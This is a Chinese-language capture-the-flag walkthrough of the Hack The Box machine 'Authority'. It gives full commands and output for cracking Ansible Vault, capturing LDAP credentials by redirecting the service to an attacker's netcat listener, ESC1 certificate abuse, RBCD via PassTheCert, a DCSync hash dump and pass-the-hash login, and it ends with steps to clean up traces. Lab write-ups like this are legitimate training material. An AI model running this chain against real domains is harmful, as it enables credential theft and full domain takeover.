Authority

1
2
3
4
5
ip a

10.129.229.56

TARGET="10.129.229.56"

01.信息搜集

靶机发现

目标靶机 ip 为 

1
2
3
4
5
6
7
8
9
10
11
12
13
fscan -h $TARGET > fscan.log

[*] 10.129.229.56:5985
[*] 10.129.229.56:3269
[*] 10.129.229.56:3268
[*] 10.129.229.56:139
[*] 10.129.229.56:135
[*] 10.129.229.56:8443
[*] 10.129.229.56:80      http     [Product:Open Lighting Architecture daemon] Banner:(HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Micro...)
[*] 10.129.229.56:88
[*] 10.129.229.56:53

grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+' result.txt | sed 's/^.*://' | sort -nu

02.渗透打点

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
sudo nmap -sT -sV -sC -O -p 53,80,88,135,139,389,445,636,3268,3269,8443,5985 $TARGET -oA nmapscan/detail

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        (generic dns response: SERVFAIL)
| fingerprint-strings:
|   DNS-SD-TCP:
|     _services
|     _dns-sd
|     _udp
|_    local
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-19 09:15:10Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-19T09:17:08+00:00; -3h01m18s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
445/tcp  open  microsoft-ds?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-19T09:17:05+00:00; -3h01m18s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
|_ssl-date: 2026-07-19T09:17:08+00:00; -3h01m17s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-07-19T09:17:06+00:00; -3h01m17s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8443/tcp open  ssl/http      Apache Tomcat (language: en)
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
| tls-alpn:
|_  h2
| ssl-cert: Subject: commonName=172.16.2.118
| Not valid before: 2026-07-17T09:00:23
|_Not valid after:  2028-07-18T20:38:47
|_ssl-date: TLS randomness does not represent time
Host script results:
| smb2-time:
|   date: 2026-07-19T09:16:15
|_  start_date: N/A
|_clock-skew: mean: -3h01m17s, deviation: 0s, median: -3h01m17s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.81 seconds

sudo nmap -Pn -sV -A -p 445 -T4 $TARGET

域名 authority.htb
DNS: authority.htb.corp

1
echo "10.129.229.56 authority.htb" | sudo tee -a /etc/hosts

80 IIS

windows server 默认页 应该是有其他 web 服务

8443 Apache Tomcat

Bad Request
This combination of host and port requires TLS.

1
https://10.129.229.56:8443

/pwm/private/login
/pwm/private/config/login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Previous Authentications
Identity	Timestamp	Network Address
n/a	2023年3月25日 GMT+8 7:42:59	127.0.0.1
CN=svc_pwm,CN=Users,DC=htb,DC=corp (default)	2023年3月26日 GMT+8 21:11:23	10.129.204.183
CN=svc_pwm,CN=Users,DC=htb,DC=corp (default)	2023年3月26日 GMT+8 21:17:32	10.129.204.183
CN=svc_pwm,CN=Users,DC=htb,DC=corp (default)	2023年3月26日 GMT+8 21:20:14	10.129.204.183
CN=svc_pwm,CN=Users,DC=htb,DC=corp (default)	2023年3月26日 GMT+8 21:20:39	10.129.204.183
n/a	2023年4月24日 GMT+8 6:06:34	10.10.14.38
n/a	2023年4月24日 GMT+8 6:17:48	10.10.14.38
n/a	2023年4月24日 GMT+8 6:21:47	10.10.14.38
n/a	2023年4月24日 GMT+8 6:24:05	10.10.14.38
n/a	2023年4月24日 GMT+8 6:48:13	10.10.14.38

Previous Failed Authentications
Identity	Timestamp	Network Address
n/a	2023年3月25日 GMT+8 7:23:16	127.0.0.1
n/a	2023年3月25日 GMT+8 7:23:37	127.0.0.1
n/a	2023年3月25日 GMT+8 7:24:41	127.0.0.1
n/a	2023年3月25日 GMT+8 7:25:23	127.0.0.1
n/a	2023年3月25日 GMT+8 7:25:50	127.0.0.1
n/a	2023年3月25日 GMT+8 7:36:51	127.0.0.1
n/a	2023年3月25日 GMT+8 7:38:00	127.0.0.1
n/a	2023年3月25日 GMT+8 7:38:12	127.0.0.1
n/a	2023年3月25日 GMT+8 7:38:23	127.0.0.1
n/a	2026年7月19日 GMT+8 17:21:36	10.10.17.22

确认了 PWM 服务账号是 svc_pwm

Configuration Manager
Password Self Service
需要登录
PWM is in open configuration mode and is not secure.

暂时缺少凭据.

445 SMB

1
2
3
4
5
6
7
8
9
10
11
12
# 匿名
smbclient -L //10.129.229.56 -N
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	Department Shares Disk
	Development     Disk
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share
	SYSVOL          Disk      Logon server share
SMB1 disabled -- no workgroup available

Department Shares
Development 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
smbclient -L '//10.129.229.56/Department Shares' -N
SMB1 disabled -- no workgroup available
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*

smbclient -L //10.129.229.56/Development  -N
SMB1 disabled -- no workgroup available
ls : Automation 
cd Automation/Ansible 
smb: \Automation\Ansible\> ls
  .                                   D        0  Fri Mar 17 21:20:50 2023
  ..                                  D        0  Fri Mar 17 21:20:50 2023
  ADCS                                D        0  Fri Mar 17 21:20:48 2023
  LDAP                                D        0  Fri Mar 17 21:20:48 2023
  PWM                                 D        0  Fri Mar 17 21:20:48 2023
  SHARE                               D        0  Fri Mar 17 21:20:48 2023
smb: \Automation\Ansible\> recurse ON
smb: \Automation\Ansible\> prompt OFF
smb: \Automation\Ansible\> mget *

大量源码泄漏

其中

PWM/ansible_inventory

1
2
3
4
5
6
ansible_user: administrator
ansible_password: Welcome1
ansible_port: 5985
ansible_connection: winrm
ansible_winrm_transport: ntlm
ansible_winrm_server_cert_validation: ignore

administrator:Welcome1

PWM/defaults/main.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"

pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true

pwm_require_ssl: false

pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          32666534386435366537653136663731633138616264323230383566333966346662313161326239
          6134353663663462373265633832356663356239383039640a346431373431666433343434366139
          35653634376333666234613466396534343030656165396464323564373334616262613439343033
          6334326263326364380a653034313733326639323433626130343834663538326439636232306531
          3438

pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          31356338343963323063373435363261323563393235633365356134616261666433393263373736
          3335616263326464633832376261306131303337653964350a363663623132353136346631396662
          38656432323830393339336231373637303535613636646561653637386634613862316638353530
          3930356637306461350a316466663037303037653761323565343338653934646533663365363035
          6531

ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          63303831303534303266356462373731393561313363313038376166336536666232626461653630
          3437333035366235613437373733316635313530326639330a643034623530623439616136363563
          34646237336164356438383034623462323531316333623135383134656263663266653938333334
          3238343230333633350a646664396565633037333431626163306531336336326665316430613566
          3764

ADCS/defaults/main.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ca_own_root: yes

# A passphrase for the CA key.
ca_passphrase: SuP3rS3creT

# The common name for the CA.
ca_common_name: authority.htb

# Other details for the CA.
ca_country_name: NL
ca_email_address: admin@authority.htb
ca_organization_name: htb
ca_organizational_unit_name: htb
ca_state_or_province_name: Utrecht
ca_locality_name: Utrecht

ca_publication_location: "{{ httpd_data_directory | default('/tmp') }}/pub"

ca_openssl_path: "{{ _ca_openssl_path[ansible_os_family] | default(_ca_openssl_path['default'] ) }}"

login

pwm/private/login
目录不可用。如果此错误反复出现，请联系咨询台。

pwm/private/config/login
口令不正确，请重试。 { 5089 ERROR_PASSWORD_ONLY_BAD }

域登录试试

1
evil-winrm -i $TARGET -u administrator -p 'Welcome1'

也不行

解一下哈希

Ansible Vault 解密

注意一次只能进行一个 hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
hashcat -hh
16900 | Ansible Vault                                              | Password Manager

sed 's/^[[:space:]]*//' va1 > va1
$ANSIBLE_VAULT;1.1;AES256
32666534386435366537653136663731633138616264323230383566333966346662313161326239
6134353663663462373265633832356663356239383039640a346431373431666433343434366139
35653634376333666234613466396534343030656165396464323564373334616262613439343033
6334326263326364380a653034313733326639323433626130343834663538326439636232306531
3438


choco@kali:/Users/choco/Project/HackTheBox/Authority/hash$ ansible2john va1 > vault1.hash
choco@kali:/Users/choco/Project/HackTheBox/Authority/hash$ ansible2john va2 > vault2.hash
choco@kali:/Users/choco/Project/HackTheBox/Authority/hash$ ansible2john va3 > vault3.hash

hashcat -m 16900 vault1.hash /Users/choco/Project/HackTool/wordlists/rockyou.txt
john vault1.hash --wordlist=/Users/choco/Project/HackTool/wordlists/rockyou.txt
!@#$%^&*         (va1)

john vault2.hash --wordlist=/Users/choco/Project/HackTool/wordlists/rockyou.txt
!@#$%^&*         (va2)

john vault3.hash --wordlist=/Users/choco/Project/HackTool/wordlists/rockyou.txt
!@#$%^&*         (va3)

都是同一个密码 !@#$%^&* 用这个来解密文件
Ansible Vault 的设计逻辑：
!@#$%^&* 是 Vault 加密密钥（用来锁保险箱的钥匙）
解密出来的才是真正要用的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from ansible.parsing.vault import VaultLib, VaultSecret
from ansible.constants import DEFAULT_VAULT_ID_MATCH

vault = VaultLib([(DEFAULT_VAULT_ID_MATCH, VaultSecret('!@#$%^&*'.encode()))])

data1 = open('va.txt').read()
data2 = open('va2.txt').read()
data3 = open('va3.txt').read()

print('=== pwm_admin_login ===')
print(vault.decrypt(data1.encode()).decode())
print('=== pwm_admin_password ===')
print(vault.decrypt(data2.encode()).decode())
print('=== ldap_admin_password ===')
print(vault.decrypt(data3.encode()).decode())

=== pwm_admin_login ===
svc_pwm
=== pwm_admin_password ===
pWm_@dm!N_!23
=== ldap_admin_password ===
DevT3st@123

现在一个 pwm 凭据 一个 ldap

PWM

1
svc_pwm : pWm_@dm!N_!23

config:https://10.129.229.56:8443/pwm/private/config/login?password=pWm_%40dm%21N_%2123&processAction=login&pwmFormID=H4sIAAAAAAAAAAGaAGX_UFdNLkdDTTEQHxzzus-IaUtsO6Z7VSxcHtGPUvuCSfN5S5g1RP6a13h2QbIf1BOZGHFQdfyFFBlX244FQm_dlttn5x-UZIXKrEzp8ZTv0wHvCTY4dVYyVf35a6BxCvtNkRVTKeQo8PcJwRCTOupk998RM2KSRv91J0X96_Eb9QruDD7kLJa6aCEePRlm2gM9oMOx51XJXhM8AiHZQnWaAAAA
报错服务未启用

index:目录不可用。

config/editor:

LDAP

1
2
3
4
5
6
crackmapexec smb $TARGET -u administrator -p 'DevT3st@123'

crackmapexec winrm $TARGET -u administrator -p 'DevT3st@123'

crackmapexec smb $TARGET -u svc_pwm -p 'pWm_@dm!N_!23'
SMB         10.129.229.56   445    AUTHORITY        [+] authority.htb\svc_pwm:pWm_@dm!N_!23 (Guest)
1
2
3
4
smbclient -U "svc_pwm" \\\\10.129.229.56
pWm@dm!N_!23

权限只有guest 什么都干不了

看看 editor 的 ldap

改为指向攻击机的 ldap 连接 尝试抓取它的登录凭证

1
2
3
4
ldaps://authority.authority.htb:636 -> ldap://10.10.17.22:389

 nc -lv 389
0Y`T;CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb�lDaP_1n_th3_cle4r!

抓到了

1
2
svc_ldap
lDaP_1n_th3_cle4r!
1
evil-winrm -i 10.129.229.56 -u svc_ldap -p 'lDaP_1n_th3_cle4r!'

shell

现在拿到用户权限后 想到还有一个服务没有使用过
之前发现的 ADCS defaults（CA 密码 SuP3rS3creT）暗示机器上可能有 ADCS 证书服务——如果存在，Certify 攻击是一条黄金提权路线

ADCS

结合H4cker/AredTeam/笔记整理/06-AD域渗透/ADCS攻击

枚举证书

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
certipy find -u 'svc_ldap@authority.htb' -p 'lDaP_1n_th3_cle4r!' \
  -dc-ip $TARGET -vulnerable -stdout 2>&1 | tee certipy_enum.txt

DNS Name                            : authority.authority.htb  
[!] Vulnerabilities
  ESC1                              : Enrollee supplies subject and template allows client authentication.
  
  
Certificate Authorities
  0
    CA Name                             : AUTHORITY-CA
    DNS Name                            : authority.authority.htb
    Certificate Subject                 : CN=AUTHORITY-CA, DC=authority, DC=htb
    Certificate Serial Number           : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
    Certificate Validity Start          : 2023-04-24 01:46:26+00:00
    Certificate Validity End            : 2123-04-24 01:56:25+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : AUTHORITY.HTB\Administrators
      Access Rights
        ManageCa                        : AUTHORITY.HTB\Administrators
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        ManageCertificates              : AUTHORITY.HTB\Administrators
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        Enroll                          : AUTHORITY.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : CorpVPN
    Display Name                        : Corp VPN
    Certificate Authorities             : AUTHORITY-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollmentCheckUserDsCertificate
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
                                          Document Signing
                                          IP security IKE intermediate
                                          IP security use
                                          KDC Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 20 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2023-03-24T23:48:09+00:00
    Template Last Modified              : 2023-03-24T23:48:11+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : AUTHORITY.HTB\Domain Computers
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : AUTHORITY.HTB\Administrator
        Full Control Principals         : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        Write Owner Principals          : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        Write Dacl Principals           : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        Write Property Enroll           : AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
    [+] User Enrollable Principals      : AUTHORITY.HTB\Domain Computers
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.

1
echo "10.129.229.56 authority.authority.htb" | sudo tee -a /etc/hosts

ESC 1

当证书模板允许请求者自定义 Subject Alternative Name (SAN) 时，攻击者可以申请一张 UPN 为 administrator@domain.htb 的证书，直接通过 PKINIT 获取 Administrator 的 NTLM Hash。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 找当前用户可注册的模板
grep -A5 'Enrollment Rights\|EnrolleeSuppliesSubject' certipy_enum.txt
# 没有可以用的

# 一步到位 (预期 但是实际走不通)
certipy req -u 'svc_ldap@authority.htb' -p 'lDaP_1n_th3_cle4r!' -dc-ip $TARGET \
  -ca AUTHORITY-CA -template CorpVPN \
  -upn administrator@authority.htb

[*] Requesting certificate via RPC
[*] Request ID is 2
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
Would you like to save the private key? (y/N): y
[*] Saving private key to '2.key'
[*] Wrote private key to '2.key'
[-] Failed to request certificate
> ls
2.key   

#####
这里用户权限不够申请
Get-ADObject -Identity ((Get-ADDomain).DistinguishedName) -Properties ms-DS-MachineAccountQuota
DistinguishedName         : DC=authority,DC=htb
ms-DS-MachineAccountQuota : 10
Name                      : authority
ObjectClass               : domainDNS
ObjectGUID                : 011a2802-ff7d-4748-bd64-b7386cae0bd2

但是Enrollment Rights: AUTHORITY.HTB\Domain Computers

机器账户可以申请

# 认证获取 Hash (不可行)
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> -domain domain.htb

注意：必须同步时钟 sudo ntpdate -u $TARGET。

AD 的机制是这样的：域内默认 ms-DS-MachineAccountQuota = 10，允许任何已认证用户创建最多 10 个机器账户。而所有机器账户一旦创建，就自动被归入 Domain Computers 组——正好命中 CorpVPN 的注册权限。
所以攻击思路就是：自己造一个”Domain Computers”成员来绕过权限检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 1. 用 svc_ldap 创建一个机器账户（加入 Domain Computers）
addcomputer.py 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!' \
  -dc-ip $TARGET -computer-name EVILPC -computer-pass 'Passw0rd!'

[*] Successfully added machine account EVILPC$ with password Passw0rd!.

# 2. 用机器账户申请 CorpVPN 证书（指定 UPN 为 Administrator）
certipy req -u 'EVILPC$@authority.htb' -p 'Passw0rd!' -dc-ip $TARGET \
  -ca AUTHORITY-CA -template CorpVPN \
  -upn administrator@authority.htb

[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'


# 3. PKINIT 认证 → Administrator NTLM Hash
certipy auth -pfx administrator.pfx -dc-ip $TARGET -domain authority.htb

[*] Certificate identities:
[*]     SAN UPN: 'administrator@authority.htb'
[*] Using principal: 'administrator@authority.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information

遇到 bug 第三步的绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 1. 克隆 PassTheCert
git clone https://github.com/AlmondOffSec/PassTheCert.git
cd PassTheCert

# 2. 提取证书和密钥（留空 import 密码，PEM 密码设 1234）
openssl pkcs12 -in ../administrator.pfx -nocerts -out administrator.key
# Enter Import Password: (直接回车)
# Enter PEM pass phrase: 1234

openssl pkcs12 -in ../administrator.pfx -clcerts -nokeys -out administrator.crt
# Enter Import Password: (直接回车)

# 3. RBCD：用证书让 EVILPC$ 委派 AUTHORITY$
python3 Python/passthecert.py -dc-ip $TARGET \
  -crt administrator.crt -key administrator.key \
  -domain authority.htb -port 636 \
  -action write_rbcd -delegate-to 'AUTHORITY$' -delegate-from 'EVILPC$'
# PEM pass phrase: 1234
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] EVILPC$ can now impersonate users on AUTHORITY$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     EVILPC$      (S-1-5-21-622327497-3269355298-2248959698-12102)

# 4. 申请 ST 冒充 Administrator
getST.py -spn 'cifs/AUTHORITY.authority.htb' -impersonate Administrator \
  'authority.htb/EVILPC$:Passw0rd!'
# [*] Saving ticket in Administrator@cifs_AUTHORITY.authority.htb@AUTHORITY.HTB.ccache

# 5. DCSync 哈希打印
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass authority.htb/Administrator@authority.authority.htb -just-dc-ntlm

打印

1
2
3
4
5
6
7
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bd6bd7fcab60ba569e3ed57c7c322908:::
svc_ldap:1601:aad3b435b51404eeaad3b435b51404ee:6839f4ed6c7e142fed7988a6c5d0c5f1:::
AUTHORITY$:1000:aad3b435b51404eeaad3b435b51404ee:1ebad643fd4797c949919dec52f955e4:::
EVILPC$:12102:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::

winrm 哈希登录

1
evil-winrm -i 10.129.229.56 -u administrator -H 6961f422924da90a6928197429eea4ed

AI 总结

攻击链总览

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
flowchart TD
    A[SMB 匿名访问] --> B[Development/Ansible 源码泄漏]
    B --> C[Ansible Vault 解密]
    C --> D1["svc_pwm: pWm_@dm!N_!23"]
    C --> D2["ldap_admin_password: DevT3st@123"]
    
    D1 --> E[PWM 开放配置模式]
    E --> F["LDAP 重定向 → nc 监听"]
    F --> G["svc_ldap: lDaP_1n_th3_cle4r! (明文)"]
    
    G --> H[evil-winrm shell as svc_ldap]
    H --> I[certipy find → ESC1: CorpVPN]
    
    I --> J{svc_ldap 可注册?}
    J -->|❌ 仅 Domain Computers| K["MAQ=10 → addcomputer → EVILPC$"]
    K --> L["certipy req -upn administrator"]
    L --> M["administrator.pfx"]
    
    M --> N{PKINIT 认证}
    N -->|❌ KDC_ERR_PADATA_TYPE_NOSUPP| O[PassTheCert Schannel LDAPS]
    O --> P["RBCD: EVILPC$ → AUTHORITY$"]
    P --> Q["getST → Administrator.ccache"]
    Q --> R["secretsdump → Administrator NTLM"]
    R --> S[evil-winrm as Administrator 🏁]

凭据汇总

阶段 用户名 密码/Hash 来源 用途
信息搜集 administrator Welcome1 Ansible inventory ❌ 已过期
信息搜集 CA Key SuP3rS3creT ADCS defaults 参考
初始突破 svc_pwm pWm_@dm!N_!23 Vault 解密 (pwm_admin) PWM 登录
初始突破 LDAP Admin DevT3st@123 Vault 解密 (ldap_admin) 未用到
Shell 立足 svc_ldap lDaP_1n_th3_cle4r! LDAP 重定向明文抓取 WinRM 初始 Shell
提权 EVILPC$ Passw0rd! addcomputer 创建 机器账户，加入 Domain Computers
最终 Administrator 6961f422924da90a6928197429eea4ed DCSync 域管 Hash

关键技术点

1. Ansible Vault 解密

所有 vault 块共用密钥 !@#$%^&*，使用 ansible2john + john 爆破得到。解密后拿到三个明文密码。Ansible Vault 密钥有时硬编码在项目中或使用弱密码。

2. LDAP 重定向抓明文

PWM 处于 Open Configuration Mode，允许修改 LDAP 连接目标。将 LDAP 服务器地址改为攻击机 IP，用 nc -lv 389 监听即可捕获 PWM 发起的 LDAP 绑定请求中的明文密码。这利用了 LDAP Simple Bind 默认明文传输的特性。

3. ESC1 + 机器账户绕过权限

CorpVPN 模板注册权限限定 Domain Computers。利用域默认 ms-DS-MachineAccountQuota=10，svc_ldap 可以 addcomputer 创建机器账户，自动加入 Domain Computers。然后用机器账户以 administrator@authority.htb 的 UPN 申请证书。

4. PKINIT 失败 → PassTheCert RBCD

DC 返回 KDC_ERR_PADATA_TYPE_NOSUPP，说明该 KDC 不支持 PKINIT。改用 PassTheCert 工具，通过 LDAPS Schannel 用 Administrator 证书认证，直接对 AUTHORITY$ 写入 msDS-AllowedToActOnBehalfOfOtherIdentity（RBCD）。然后用 EVILPC$ 通过 S4U2Self + S4U2Proxy 获取 Administrator 的服务票据，实现 DCSync。

5. RBCD 链

1
2
3
4
5
6
7
8
EVILPC$ (受控机器账户)
    │  msDS-AllowedToActOnBehalfOfOtherIdentity
    ▼
AUTHORITY$ (DC)
    │  S4U2Self → Administrator TGT
    │  S4U2Proxy → cifs/AUTHORITY 服务票据
    ▼
Administrator.ccache → DCSync → NTLM Hash

清理痕迹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 移除机器账户
bloodyAD -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -d authority.htb \
  --host $TARGET remove computer EVILPC$

# 或通过 LDAP 删除
ldapdelete -x -H ldap://$TARGET \
  -D "cn=svc_ldap,ou=Service Accounts,ou=CORP,dc=authority,dc=htb" \
  -w 'lDaP_1n_th3_cle4r!' \
  "CN=EVILPC,CN=Computers,DC=authority,DC=htb"

# 清除 RBCD 委派
python3 PassTheCert/Python/passthecert.py -dc-ip $TARGET \
  -crt administrator.crt -key administrator.key \
  -domain authority.htb -port 636 \
  -action clear_rbcd -delegate-to 'AUTHORITY$'